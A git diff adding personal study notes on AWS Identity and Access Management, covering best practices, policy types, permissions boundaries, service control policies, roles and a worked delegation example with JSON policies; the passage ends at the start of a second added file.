+ - [IAM BEST PRACTICES](#iam-best-practices) + - [basics](#basics) + - [to use AWS IAM](#to-use-aws-iam) + - [essential components](#essential-components) + - [The IAM console](#the-iam-console) + - [IAM policy](#iam-policy) + - [Inline Policies vs Managed Policies vs Custom Policies](#inline-policies-vs-managed-policies-vs-custom-policies) + - [**Identity-based policies**](#identity-based-policies) + - [**Resource-based policies**](#resource-based-policies) + - [**Service control policies (SCPs)**](#service-control-policies-scps) + - [**Permissions boundaries**](#permissions-boundaries) + - [Evaluating effective permissions with boundaries](#evaluating-effective-permissions-with-boundaries) + - [Identity-based policies with boundaries](#identity-based-policies-with-boundaries) + - [Resource-based policies](#resource-based-policies-1) + - [Organizations SCPs](#organizations-scps) + - [Session policies](#session-policies) + - [Delegate 托付 responsibility to others using permissions boundaries](#delegate-托付-responsibility-to-others-using-permissions-boundaries) + - [IAM Entity](#iam-entity) + - [root account](#root-account) + - [IAM users](#iam-users) + - [IAM group](#iam-group) + - [IAM roles](#iam-roles) + - [AWS Organizations](#aws-organizations) + +--- + + +# AWS - IAM Identity and Access Management + +pic + +--- + + +## IAM BEST PRACTICES +- Lock away the AWS root user access keys. + - no access key for the root account user +- not use the root account for anything other than billing. + - Power user access allows all permissions except the management of groups and users in IAM. + +- Create individual IAM users +- Use AWS defined `policies` to assign permissions whenever possible. +- Use groups to assign permissions to IAM users. +- Grant least privilege. +- Use access levels to review IAM permissions. +- Use roles for applications that run on AWS EC2 instances. +- Delegate by using roles instead of sharing credentials. +- Configure a strong password policy for users. +- Enable MFA for all users +- Rotate credentials regularly. +- Remove unnecessary credentials. +- Use policy conditions for extra security. +- Monitor activity in your AWS account. +- Use Temporary Security Credentials (IAM Roles) Instead of Long-Term Access Keys. +- Manage IAM User Access Keys Properly. + +--- + + +## basics + +> 颗粒状的 Granular permissions + +- a tool that centrally manages access to  launching, configuring, managing, and terminating resources in the AWS account + +- grant different permissions to different people for different resources.  + - **who, which, how** + +- feature of the AWS account, no additional charge. + + + +> IAM has the following features to control access: + + +- **provides Granular permissions** over access to resources, IAM can be used to manage: + - provides 颗粒状的 Granular permissions + - grant different permissions to different people / resources. + - Users. Groups. Access policies. Roles. + - User credentials. User password policies. + - for AWS Management Console, AWS CLI, or AWS software development kits (SDKs), + - every call to an AWS service is an API call. + - API keys for programmatic access (CLI). + - including the ability to specify exactly which API calls the user is authorized to make to each service + + + +- **Shared access** + - grant other people permission to administer and use resources in the AWS account + - without having to share your password or access key. + +- **Secure access** to AWS resources + - Integrated with may AWS services. + - manage access to AWS services and resources securely. + - Secure access to AWS resources for applications that run on EC2. + - create and manage AWS users and groups. + - should use groups to assign permissions to IAM users + - should avoid embedding access keys in application code + +- **Temporary security credentials** + - IAM can assign temporary security credentials to provide users with temporary access to services/resources. + - AWS access key ID, secret access key, and security token. + +- **Multi-factor authentication (MFA)** + - Add two-factor authentication to the account and to individual users + - extra security. + - authentication device that generates random, six-digit, single-use authentication codes + - authenticate using an MFA device in the following two ways: + - `AWS Management Console`: user name, password and authentication code. + - `AWS API`: restrictions are added to IAM policies and developers can request temporary security credentials and pass MFA parameters in their AWS STS API requests. + - `AWS CLI`: obtaining temporary security credentials from STS (aws sts get-session-token). + +- **Identity federation** + - Identity Federation (including AD, Facebook etc.) can be configured + - allow users who already have passwords elsewhere (corporate network) to get temporary access to the AWS account. + - allowing secure access to resources in an AWS account `without creating an IAM user account`. + - cannot use IAM to create local user accounts on any system. + +- **Eventually consistent** + + +> IAM is not used for application-level authentication + +> IAM is universal (global) and does not apply to regions. + + + +- Identity information for assurance. + + +- PCI DSS compliance. + + +### to use AWS IAM + +- AWS Management Console. +- AWS Command Line Tools. +- AWS SDKs. + - recommend use AWS SDKs to make programmatic API calls to IAM. +- IAM HTTPS API. +- can also use IAM Query API to make direct calls to the IAM web service. +- sign-in URL: + - `https://AWS_Account_ID.signin.aws.amazon.com/console/` + - `https://console.aws.amazon.com/.` + + + + +## essential components + +- `IAM user`: + - a `person/application` that is defined in an AWS account, and that must make API calls to AWS products. + - Each user must have a unique name (no spaces in name) within the AWS account, + - and a set of security credentials that are different from the AWS account root user security credentials. + - Each user is defined in one and only one AWS account. + +- `IAM group`: + - a collection of users. + - use groups to `simplify specifying and managing permissions for multiple users`. + +- `IAM policy`: + - a document that defines permissions to determine what users can do in the AWS account. + - A policy typically `grants access to specific resources to user, or explicitly deny access`. + +- `IAM role`: + - a tool for granting temporary access to specific AWS resources in an AWS account. + - only selected users or applications. + - Aws service can access other service. + + +Use `IAM Policies` to control access to the following: +- `AWS for Principals` + - Control what the person making the request (theprincipal) is allowed to do. +- `IAM Identities` + - Control which `IAM identities (groups, users, and roles)` can be accessed and how. +- `IAM Policies` + - Control who can create, edit, and delete customer managed policies, + - and who can attach and detach all managed policies. +- `AWS Resources` + - Control who has access to resources + - using an `identity-based policy` or a `resource-based policy`. +- `AWS Accounts` + - Control whether a request is allowed only for members of a specific account. + +![Screen Shot 2020-06-08 at 12.20.26](https://i.imgur.com/c8OIchz.png) + + +--- + + + +## The IAM console +- provides information about when IAM users and roles last attempted to access AWS services. This information is called `service last accessed data`. + - help you identify unnecessary permissions + - to refine your IAM policies + - to better adhere to the principle of “least privilege.” + - granting the minimum permissions required to perform a specific task. +- You can find the data on the Access Advisor tab in the IAM console by examining the detail view for any IAM user, group, role, or managed policy. + + + +--- + + +## IAM policy + +- By default + +- the AWS account Root user has full access + +- the AWS account IAM user has no access to any services + + - All permissions are denied by default. + - default AWS account users do not have any permissions to any resources/data in AWS account + - The most restrictive policy is applied. + + - default implicit deny of an IAM identity can be overridden with an explicit allow + - must explicitly grant permissions to a user/group/role by `creating a policy` + - attaching an IAM access policy to IAM user/group + + +- When there is a conflict, the most restrictive policy applies. + - allow vs deny: deny win + +- a document in `JavaScript Object Notation (JSON)` format + - lists permissions that `allow / deny` access to resources in the AWS account. + +- follow the principle of least privilege + +- `the scope` of the service configurations `is global`. + - The settings are not defined at an AWS Region level. + - settings apply across all AWS Regions. + + +- Resources are defined using the `ARN format` + - the syntax for ARNs + - `arn:partition:service:region:account-id:` + + +3 types of policy: +- `+` **Identity-based policies** (user start with no permission, add Allow) +- `-` **Permission boundary** (setup limit for user Identity-Based policy) +- `+` **Resource-based policies** (add additional permission, not for role) +- `-` **Service control policies (SCPs)** + + + +![Screen Shot 2022-03-23 at 11.09.26](https://i.imgur.com/wfT1Ox7.png) + + +Overall: +- All must in `Permission boundary && Policy`: + - Deny <- in policy not in permission boundary +- All must not been deny by SCPs + + +--- + +### Inline Policies vs Managed Policies vs Custom Policies + +**Managed policies** +- created and administered by AWS + - prebuild, Standalone identity-based policies + - cannot change + - AWS managed policies have automatic updates. + - has overhead, more rigid out of the two. +- for common use cased based on job function: + - `AmazonDynamoDBFullAccess`, `AWSCodeCOmmitPowerUser`, `AmazonEC2ReadOnlyAccess` +- one policy can + - assign to multiple users/groups/roles + - in same/different AWS account +- A Managed Policy `applies policies` to a user, group, or role (without exceptions). + + + +**Customer managed policy**: +- managed by you +- Standalone policy user create +- more flexible but requires administration. +- policy can + - assign to multiple users/groups/roles + - in only your AWS account + + + +**Inline policies** +- managed by you +- embedded directly to a single user/group/role to which it aaplies. + - when user/group/role been deleted, the policy also be deleted +- policy can + - assign to one users/groups/roles + - strict 1:1 relationship between entity and the policy + - in only your AWS account +- usually Inline Policies are used to create exceptions  to a user, group, or role. + - when you want to be sure that the permissions is not been assigned to any other user. + +> create in the user, add inline policy + + +--- + +### **Identity-based policies** +- A policy that is attached to an identity in IAM + - less overhead to use a SCP for the entire AWS account. + - permissions policies that attach to a principal/identity (user/role/group). + +- control what actions that identity can perform, on which resources, and under what conditions + +- Identity-based policies categorized: + - **Managed policies** + - prebuild, Standalone identity-based policies + - can attach to multiple users/groups/roles in AWS account + - A Managed Policy `applies policies` to a user, group, or role (without exceptions). + - **customer managed policy**: + - more flexible but requires administration. + - **AWS managed policy** + - has overhead, more rigid out of the two. + - AWS managed policies have automatic updates. + - **Inline policies** + - Policies embedded directly to a single user/group/role + - Inline Policies are used to create exceptions to a user, group, or role. + +--- + +### **Resource-based policies** +- JSON policy documents that attach to a resource (S3 bucket...) +- control what actions a specified principal can perform on that resource, and under what conditions + +- **inline only**: + - define the policy on the resource itself, instead of creating a separate policy document that you attach. + - For example + - create an S3 bucket policy (a type of resource-based policy) on an S3 bucket + - -> the bucket + - -> Permissions tab + - -> Bucket Policy button + - -> define the JSON-formatted policy document there. + +- An `Amazon S3 access control list (ACL)` is another example of a resource-based policy + +![HVBkIYM](https://i.imgur.com/FW1kVeh.png) + +> identity-based policy. +> - An policy that grants access to the S3 bucket is attached to the MaryMajor user. + +> resource-based policy. +> - The S3 bucket policy for the `photos bucket` specifies that the user MaryMajor is allowed to list and read the objects in the bucket. +> - An explicit deny statement will always take precedence over any allow statement. +> - could define a deny statement in a bucket policy to restrict access to specific users, even if the users are granted access in a separate identity-based policy. + +![X79K6Ni](https://i.imgur.com/MtihYSq.png) + +determines permissions +**explicit denial policy -> explicit allow policy -> deny** + + +Resource-based policies > Identity-based policy + + +--- + +### **Service control policies (SCPs)** + +- one type of policy + +- use to manage organization + - Attaching an SCP to an AWS Organizations entity (root, OU, or account) + - defines a guardrail for what actions the principals can perform. + +- enables permission controls + - can limit account usage to organizational units or linked accounts. + - offer central control over the maximum available permissions for all accounts in organization + - ensure accounts stay in organization’s access control guidelines. + +- available only in an organization that has all features enabled + - SCPs are not automatically enabled; + - including consolidated billing + - SCPs aren't available if organization has enabled only the consolidated billing feature + +- restrict the root user of an Organization Unit account + - SCP is a way to restrict a root user on an account. + - defines a safeguard for the actions that accounts in the organization root or OU can do. + - Attaching an SCP to the organization root/unit (OU) + - Log in to the master account and create the SCP + - Select the Organizational Unit + - Enable the SCP for the Organizational Unit + - Attach the SCP to the member account within the Organizational Unit + +- not a substitute for well-managed each account + - still need attach IAM policies to users/roles in organization's accounts + - to actually grant permissions to them. + +- similar to IAM permissions policies + - almost the same syntax. JSON + - but, SCP policies never grants permissions. + - it the maximum permissions  for an organization or OU. + +- No permissions are granted by an SCP + - it defines a guardrail, or sets limits, on the actions that the account's administrator can delegate to the IAM users/roles in the affected accounts. + - The administrator must still attach `identity/resource-based policies` to IAM users/roles, or to the resources in accounts to actually grant permissions. + - The effective permissions + - the logical intersection between **what is allowed by the SCP** and **what is allowed by the IAM/Resource-based policies** + - Important + - SCPs don't affect users or roles in the management account. + - affect only the member accounts in the organization. + +- by default `FullAWSAccess` + - a service control policy + - allows users to access services/resources on an attached account. + - allows access to all AWS services within an attached member account + + +--- + + + +### **Permissions boundaries** + + +![permissions_boundary](https://i.imgur.com/tnA8au6.png) + + +- an advanced feature + +- AWS supports `permissions boundaries` for IAM entities (users or roles) + +- using a managed policy to set the maximum permissions that an identity-based policy can grant to an IAM entity +- An entity's permissions boundary allows it to perform only the actions that are allowed by both its identity-based policies and Permissions boundaries + +- can use an AWS managed policy or a customer managed policy to set the boundary for an IAM entity (user or role). + +- That policy limits the maximum permissions for the user or role. + + +Example: + +```json +// assume IAM user `ShirleyRodriguez` is allowed to manage only Amazon S3, Amazon CloudWatch, and Amazon EC2. +// To enforce this rule, use the following policy to set the permissions boundary for the `ShirleyRodriguez` user: +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:*", + "cloudwatch:*", + "ec2:*" + ], + "Resource": "*" + } + ] +} +``` + +- When you use a policy to set the permissions boundary for a user + - it limits the user's permissions but does not provide permissions on its own. + +- example: + - the policy sets the maximum permissions of `ShirleyRodriguez` as all operations in Amazon S3, CloudWatch, and Amazon EC2. + - Shirley can never perform operations in any other service, including IAM, even if she has a permissions policy that allows it . + + - you can add the following policy to the `ShirleyRodriguez` user: + - allows creating a user in IAM. + - If you attach this permissions policy to the `ShirleyRodriguez` user, and Shirley tries to create a user, the operation fails. + - It fails because the permissions boundary does not allow the `iam:CreateUser` operation. + + - Given these two policies, Shirley does not have permission to perform any operations in AWS. + - You must add a different permissions policy to allow actions in other services, such as Amazon S3. + - Alternatively, you could update the permissions boundary to allow her to create a user in IAM. + +```json + +{ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "iam:CreateUser", + "Resource": "*" + } +} +``` + +--- + +#### Evaluating effective permissions with boundaries + +The permissions boundary for an IAM entity (user or role) sets the maximum permissions that the entity can have. +- This can change the effective permissions for that user or role. +- The effective permissions for an entity are the permissions that are granted by all the policies that affect the user or role. + +- Within an account, the permissions for an entity can be affected by + - identity-based policies, + - resource-based policies, + - permissions boundaries, + - Organizations SCPs + - or session policies. + +- If any one of these policy types explicitly denies access for an operation, then the request is denied. +- The permissions granted to an entity by multiple permissions types are more complex. +- check [Policy evaluation logic](). + +--- + +#### Identity-based policies with boundaries + +Identity-based policies +- are inline or managed policies attached to a user, group of users, or role + +- effective permissions + - Identity-based policies grant permission to the entity + - and Permissions boundaries limit those permissions. + - The effective permissions are the intersection of both policy types. + - An explicit deny in either of these policies overrides the allow. + +![permissions_boundary](https://i.imgur.com/tnA8au6.png) + +--- + +#### Resource-based policies + +**Resource-based policies** +![EffectivePermissions-rbp-boundary-id](https://i.imgur.com/IaeaipQ.png) + +- control how the specified principal can access the resource to which the policy is attached. + +1. Resource-based policies for IAM users + - Within an account + - an implicit deny in a permissions boundary does not limit the permissions granted to an IAM user by a resource-based policy. + - Permissions boundaries reduce permissions that are granted to a user by identity-based policies. + - Resource-based policies can provide additional permissions to the user. + +2. Resource-based policies for IAM roles and federated users + - Within an account + - an implicit deny in a permissions boundary does limit the permissions granted to the ARN of the underlying IAM role/user by the resource-based policy. + - However + - if resource-based policy grants permissions directly to the session principal (the assumed-role ARN or federated user ARN) + - an implicit deny in the permissions boundary does not limit those permissions + - [Session policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_session). + +--- + +#### Organizations SCPs + +![EffectivePermissions-scp-boundary-id](https://i.imgur.com/UfyiKlF.png) + +SCPs +- are applied to an entire AWS account. +- limit permissions for every request made by a principal within the account. + +- An IAM entity (user or role) can make a request that is affected by an SCPs, a permissions boundary, and an identity-based policy. + - the request is allowed only if all three policy types allow it. + - The effective permissions are the intersection of all three policy types. + - An explicit deny in any of these policies overrides the allow. + +account member in AWS Organizations. +- Organization members might be affected by an SCPs +- To view this data using the AWS CLI command or AWS API operation, permissions: `organizations:DescribeOrganization` action for your Organizations entity +- You must have additional permissions to perform the operation in the Organizations console. + +--- + +#### Session policies + +![EffectivePermissions-session-boundary-id](https://i.imgur.com/LCcnM4u.png) + +Session policies +- advanced policies +- pass as a parameter when programmatically create a temporary session for a role or federated user. +- The permissions for a session come from the `IAM entity (user or role) used` to create the session and from the session policy. +- The entity's identity-based policy permissions are limited by the session policy and the permissions boundary. + - The effective permissions for this set of policy types are the intersection of all three policy types. + - An explicit deny in any of these policies overrides the allow. + +--- + +#### Delegate 托付 responsibility to others using permissions boundaries + +use Permissions boundaries to delegate permissions management tasks +- such as user creation, to IAM users in your account. +- This permits others to perform tasks on your behalf within a specific boundary of permissions. + +Example +- María is the administrator of the X-Company AWS account. + - She wants to delegate user creation duties to Zhang. + - However, she must ensure that Zhang creates users that adhere to the following company rules: + * Users cannot use IAM to create or manage users, groups, roles, or policies. + * Users are denied access to the Amazon S3 `logs` bucket and cannot access the `i-1234567890abcdef0` Amazon EC2 instance. + * Users cannot remove their own boundary policies. + +- To enforce these rules, María completes the following tasks + 1. María creates the `XCompanyBoundaries` managed policy + 1. to use as a permissions boundary for all new users in the account. + 2. María creates the `DelegatedUserBoundary` managed policy + 1. and assigns it as the permissions boundary for Zhang. + 2. Maria makes a note of her admin IAM user's ARN and uses it in the policy to prevent Zhang from accessing it. + 3. María creates the `DelegatedUserPermissions` managed policy + 1. and attaches it as a permissions policy for Zhang. + 4. María tells Zhang about his new responsibilities and limitations. + + +**Task 1:** + +María must first create a managed policy to define the boundary for the new users. +- María will allow Zhang to give users the permissions policies they need, but she wants those users to be restricted. +- To do this, she creates the following customer managed policy with the name `XCompanyBoundaries`. +- This policy does the following: + * Allows users full access to several services + * Allows limited self-managing access in the IAM console. + * This means they can change their password after signing into the console. + * They can't set their initial password. + * To allow this, add the `"*LoginProfile"` action to the `AllowManageOwnPasswordAndAccessKeys` statement. + * Denies users access to the Amazon S3 logs bucket or the `i-1234567890abcdef0` Amazon EC2 instance + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + // allows full access to the specified AWS services. + // This means that a new user's actions in these services are limited only by the permissions policies that are attached to the user. + "Sid": "ServiceBoundaries", + "Effect": "Allow", + "Action": [ + "s3:*", + "cloudwatch:*", + "ec2:*", + "dynamodb:*" + ], + "Resource": "*" + }, + { + // allows access to list all IAM users. + // This access is necessary to navigate the **Users** page in the AWS Management Console. + // It also allows viewing the password requirements for the account, which is necessary when changing your own password. + "Sid": "AllowIAMConsoleForCredentials", + "Effect": "Allow", + "Action": [ + "iam:ListUsers", + "iam:GetAccountPasswordPolicy" + ], + "Resource": "*" + }, + { + // allows the users manage only their own console password and programmatic access keys. + // This is important if Zhang or another administrator gives a new user a permissions policy with full IAM access. + // In that case, that user could then change their own or other users' permissions. + // This statement prevents that from happening. + "Sid": "AllowManageOwnPasswordAndAccessKeys", + "Effect": "Allow", + "Action": [ + "iam:*AccessKey*", + "iam:ChangePassword", + "iam:GetUser", + "iam:*ServiceSpecificCredential*", + "iam:*SigningCertificate*" + ], + "Resource": ["arn:aws:iam::*:user/${aws:username}"] + }, + { + // explicitly denies access to the `logs` bucket. + "Sid": "DenyS3Logs", + "Effect": "Deny", + "Action": "s3:*", + "Resource": [ + "arn:aws:s3:::logs", + "arn:aws:s3:::logs/*" + ] + }, + { + // explicitly denies access to the `i-1234567890abcdef0` instance. + "Sid": "DenyEC2Production", + "Effect": "Deny", + "Action": "ec2:*", + "Resource": "arn:aws:ec2:*:*:instance/i-1234567890abcdef0" + } + ] +} +``` + +**Task 2:** + +María wants to allow Zhang to create all X-Company users, but only with the `XCompanyBoundaries` permissions boundary. +- She creates the following customer managed policy named `DelegatedUserBoundary`. + - This policy defines the maximum permissions that Zhang can have. + - Each statement serves a different purpose: + 1. The `CreateOrChangeOnlyWithBoundary` statement allows Zhang to create IAM users but only if he uses the `XCompanyBoundaries` policy to set the permissions boundary. This statement also allows him to set the permissions boundary for existing users but only using that same policy. Finally, this statement allows Zhang to manage permissions policies for users with this permissions boundary set. + 2. The `CloudWatchAndOtherIAMTasks` statement allows Zhang to complete other user, group, and policy management tasks. He has permissions to reset passwords and create access keys for any IAM user not listed in the condition key. This allows him to help users with sign-in issues. + 3. The `NoBoundaryPolicyEdit` statement denies Zhang access to update the `XCompanyBoundaries` policy. He is not allowed to change any policy that is used to set the permissions boundary for himself or other users. + 4. The `NoBoundaryUserDelete` statement denies Zhang access to delete the permissions boundary for himself or other users. +- María then assigns the `DelegatedUserBoundary` policy as the permissions boundary for the `Zhang` user. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + // allows Zhang to create IAM users but only if he uses the `XCompanyBoundaries` policy to set the permissions boundary. + // allows him to set the permissions boundary for existing users but only using that same policy. + // allows Zhang to manage permissions policies for users with this permissions boundary set. + "Sid": "CreateOrChangeOnlyWithBoundary", + "Effect": "Allow", + "Action": [ + "iam:CreateUser", + "iam:DeleteUserPolicy", + "iam:AttachUserPolicy", + "iam:DetachUserPolicy", + "iam:PutUserPermissionsBoundary", + "iam:PutUserPolicy" + ], + "Resource": "*", + "Condition": { + "StringEquals": { + "iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/XCompanyBoundaries" + } + } + }, + { + // allows Zhang to complete other user, group, and policy management tasks. + // He has permissions to reset passwords and create access keys for any IAM user not listed in the condition key. + // This allows him to help users with sign-in issues. + "Sid": "CloudWatchAndOtherIAMTasks", + "Effect": "Allow", + "Action": [ + "cloudwatch:*", + "iam:GetUser", + "iam:ListUsers", + "iam:DeleteUser", + "iam:UpdateUser", + "iam:CreateAccessKey", + "iam:CreateLoginProfile", + "iam:GetAccountPasswordPolicy", + "iam:GetLoginProfile", + "iam:ListGroups", + "iam:ListGroupsForUser", + "iam:CreateGroup", + "iam:GetGroup", + "iam:DeleteGroup", + "iam:UpdateGroup", + "iam:CreatePolicy", + "iam:DeletePolicy", + "iam:DeletePolicyVersion", + "iam:GetPolicy", + "iam:GetPolicyVersion", + "iam:GetUserPolicy", + "iam:GetRolePolicy", + "iam:ListPolicies", + "iam:ListPolicyVersions", + "iam:ListEntitiesForPolicy", + "iam:ListUserPolicies", + "iam:ListAttachedUserPolicies", + "iam:ListRolePolicies", + "iam:ListAttachedRolePolicies", + "iam:SetDefaultPolicyVersion", + "iam:SimulatePrincipalPolicy", + "iam:SimulateCustomPolicy" + ], + "NotResource": "arn:aws:iam::123456789012:user/Maria" + }, + { + // denies Zhang access to update the `XCompanyBoundaries` policy. + // He is not allowed to change any policy that is used to set the permissions boundary for himself or other users. + "Sid": "NoBoundaryPolicyEdit", + "Effect": "Deny", + "Action": [ + "iam:CreatePolicyVersion", + "iam:DeletePolicy", + "iam:DeletePolicyVersion", + "iam:SetDefaultPolicyVersion" + ], + "Resource": [ + "arn:aws:iam::123456789012:policy/XCompanyBoundaries", + "arn:aws:iam::123456789012:policy/DelegatedUserBoundary" + ] + }, + { + // denies Zhang access to delete the permissions boundary for himself or other users. + + "Sid": "NoBoundaryUserDelete", + "Effect": "Deny", + "Action": "iam:DeleteUserPermissionsBoundary", + "Resource": "*" + } + ] +} +``` + + + + +**Task 3:** + +- the permissions boundary + - limits the maximum permissions + - does not grant access on its own, + - Maria must create a permissions policy for Zhang. +- She creates the following policy named `DelegatedUserPermissions`. + - This policy defines the operations that Zhang can perform, within the defined boundary. + - Each statement serves a different purpose: + 1. The `IAM` statement of the policy allows Zhang full access to IAM. However, because his permissions boundary allows only some IAM operations, his effective IAM permissions are limited only by his permissions boundary. + 2. The `CloudWatchLimited` statement allows Zhang to perform five actions in CloudWatch. His permissions boundary allows all actions in CloudWatch, so his effective CloudWatch permissions are limited only by his permissions policy. + 3. The `S3BucketContents` statement allows Zhang to list the `ZhangBucket` Amazon S3 bucket. However, his permissions boundary does not allow any Amazon S3 action, so he cannot perform any S3 operations, regardless of his permissions policy. + - Note + - Zhang's policies allow him to create a user that can then access Amazon S3 resources that he can't access. + - By delegating these administrative actions, Maria effectively trusts Zhang with access to Amazon S3. + +- María then attaches the `DelegatedUserPermissions` policy as the permissions policy for the `Zhang` user. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + // allows Zhang full access to IAM. + // However, because his permissions boundary allows only some IAM operations, his effective IAM permissions are limited only by his permissions boundary. + "Sid": "IAM", + "Effect": "Allow", + "Action": "iam:*", + "Resource": "*" + }, + { + // allows Zhang to perform five actions in CloudWatch. + // His permissions boundary allows all actions in CloudWatch, so his effective CloudWatch permissions are limited only by his permissions policy. + "Sid": "CloudWatchLimited", + "Effect": "Allow", + "Action": [ + "cloudwatch:GetDashboard", + "cloudwatch:GetMetricData", + "cloudwatch:ListDashboards", + "cloudwatch:GetMetricStatistics", + "cloudwatch:ListMetrics" + ], + "Resource": "*" + }, + { + // allows Zhang to list the `ZhangBucket` Amazon S3 bucket. + // However, his permissions boundary does not allow any Amazon S3 action, so he cannot perform any S3 operations, regardless of his permissions policy. + "Sid": "S3BucketContents", + "Effect": "Allow", + "Action": "s3:ListBucket", + "Resource": "arn:aws:s3:::ZhangBucket" + } + ] +} +``` + + +**Task 4:** + +She gives Zhang instructions to create a new user. +- She tells him that he can create new users with any permissions that they need, +- but he must assign them the `XCompanyBoundaries` policy as a permissions boundary. + +- Zhang completes the following tasks: + 1. Zhang creates a user with the AWS Management Console. + 1. He types the user name `Nikhil` and enables console access for the user. + 2. He clears the checkbox next to **Requires password reset**, because the policies above allow users to change their passwords only after they are signed in to the IAM console. + 2. On the **Set permissions** page + 1. Zhang chooses the **IAMFullAccess** and **AmazonS3ReadOnlyAccess** permissions policies that allow Nikhil to do his work. + 3. Zhang skips the **Set permissions boundary** section + 1. forgetting María's instructions + 4. Zhang reviews the user details and chooses **Create user**. + 1. The operation fails and access is denied. + 2. Zhang's `DelegatedUserBoundary` permissions boundary requires that any user he creates have the `XCompanyBoundaries` policy used as a permissions boundary. + 5. Zhang returns to the previous page. + 1. In the **Set permissions boundary** section, he chooses the `XCompanyBoundaries` policy. + 6. Zhang reviews the user details and chooses **Create user**. + 7. The user is created. + +- When Nikhil signs in + - he has access to IAM and Amazon S3 + - except those operations that are denied by the permissions boundary. + - For example + - he can change his own password in IAM but can't create another user or edit his policies. + - Nikhil has read-only access to Amazon S3. + +- If someone adds a resource-based policy to the `logs` bucket that allows Nikhil to put an object in the bucket, he still cannot access the bucket. + - The reason + - any actions on the `logs` bucket are explicitly denied by his permissions boundary. + - An explicit deny in any policy type results in a request being denied. + +- However + - if a resource-based policy attached to a Secrets Manager secret allows Nikhil to perform the `secretsmanager:GetSecretValue` action, then Nikhil can retrieve and decrypt the secret. + - The reason is that Secrets Manager operations are not explicitly denied by his permissions boundary, and implicit denies in Permissions boundaries do not limit resource-based policies. + + + + + +--- + + +## IAM Entity + +--- + +### root account + + +The root account has full administrative permissions and these cannot be restricted. + +- Best practice for root accounts: + - Don’t use the root user credentials. + - Don’t share the root user credentials. + - Create an IAM user and assign administrative permissions as required. + - Enable MFA. + +--- + +### IAM users + +- maximum amount of IAM users per account: 5,000 +- IAM users can be created to represent applications and these are known as “service accounts”. +- Each user account has a friendly name and an ARN which uniquely identifies the user across AWS. + - A unique ID is also created which is returned only when you create the user using the API, Tools for Windows PowerShell or the AWS CLI. + +> You should create individual IAM accounts for users (best practice not to share accounts). + + +authenticate: how the user is permitted to use to access AWS resources. +- 2 types:  + - programmatic access  + - AWS Management Console access. + - only or both + + +- **programmatic access**: + - `access key ID` and a `secret access key` + - cannot be used to login to the AWS console. + - can only be used once and must be regenerated if lost. + - to make an `AWS API call` by `AWS CLI/SDK/other development tool`. + + +- **AWS Management Console access** + - browser login window. + - 12-digit account ID / corresponding account alias. + - `user name and password` + - If multi-factor authentication (MFA) is enabled: an authentication code. + - With MFA, users and systems must provide an `MFA token + the regular sign-in credentials`, before access AWS services and resources. + - **for generating the MFA authentication token**: + - `virtual MFA-compliant applications`(Google Authenticator / Authy 2-Factor Authentication...), + - `U2F security key devices` (Yubikey) + - `hardware MFA devices` (Gemalto) + +![dwVKXzD](https://i.imgur.com/Fbc0udg.png) + + +--- + + +### IAM group +Important characteristics of groups: +- A group can contain many users +- a user can belong to multiple groups. +- **Groups cannot be nested**. + - A group can contain only users, + - a group cannot contain other groups. +- There is `no default group` that automatically includes all users in the AWS account. +- group with all account users in it, you need to create the group and add each new user to it. +- A group is not an identity and `cannot be identified as a principal in an IAM policy`. + +--- + +### IAM roles + +![ilJwlvj](https://i.imgur.com/W0u4eW2.png) + +- an identity in account that has specific permissions. +- is an AWS identity that can attach permissions policies +- but instead of being uniquely associated with one person, a role is `intended to be assumable by anyone who needs it.` +- an IAM entity that defines a set of permissions for making AWS service requests. + +- Roles can be assumed temporarily through the console or programmatically with the AWS CLI, Tools for Windows PowerShell or API. + + +- not using permanent credentials + - `does not have standard long-term credentials` (password/access keys associated with it...) + - assume a role, the role provides `temporary security credentials` for role session. + - Temporary credentials are primarily used with IAM roles and automatically expire. + - IAM users or AWS services can assume a role to obtain temporary security credentials that can be used to make AWS API calls. + + +- IAM roles are not associated with a specific user or group. + - Instead, trusted entities assume roles, such as IAM users, applications, or AWS services such as EC2. + - delegate permissions to resources for users and services + - IAM users can temporarily assume a role to take on permissions for a specific task. + + +- assign limitation + - A role can be assigned to a federated user who signs in using an external identity provider. + - an IAM user in the same AWS account as the role or a user in a different AWS account. + - but cannot apply multiple roles to a single instance. + + +- allowed to assume IAM Roles + - `IAM Users` + - When an IAM User is needing elevated permissions for a temporary task + - `External accounts` + - grant access to your account to third parties to perform an audit on your resources. + - When a trusted remote account needs access to AWS resources + - `AWS services/resources` + - When an AWS service or resource needs access to other AWS service or resource + - `Applications` + - allow a mobile app to use AWS resources, but do not want to embed AWS keys within the app (difficult to rotate and can potentially extract). + - When an external application needs access to an AWS resource like `DynamoDB` + - **IAM Groups are not allowed to assume IAM Roles**. + +- use roles to `delegate 托付 access to users/app/services` that do not normally have access to your AWS resources. + - For example + - grant users in the AWS account access to resources don't usually have, or grant users in one AWS account access to resources in another account. + - grant AWS access to users who already have identities that are defined outside of AWS, such as in your corporate directory. + + +- two types of policies in an IAM Role + - The `trust policy` + - allows identities to assume roles + - the `permission policy` + - defines the permissions provided. + - A permissions policy must also be attached to the user in the trusted account. + +- Wildcards (`*`) cannot be specified as a principal. + +- For all of these example use cases, roles are an essential component to implementing the cloud deployment. + + +- IAM roles with EC2 instances: + - IAM roles can be used for granting applications running on EC2 instances permissions to AWS API requests using instance profiles. + - Only one role can be assigned to an EC2 instance at a time. + - A role can be assigned at the EC2 instance creation time or at any time afterwards. + - When using the AWS CLI or API instance profiles must be created manually (it’s automatic and transparent through the console). + - Applications retrieve temporary security credentials from the instance metadata. + + + + + + + + +--- + + +## AWS Organizations + + +- With AWS Organizations, **Consolidated Billing** is always enabled. + - All other features are either enabled / disabled as a group + - cannot individually enable or disable a feature - it's all or nothing diff --git a/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-IAM-policy.md b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-IAM-policy.md new file mode 100644 index 00000000000..b5a812e6863 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-IAM-policy.md @@ -0,0 +1,858 @@ +--- +title: AWS - IdenAccessManage - IAM policy +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: 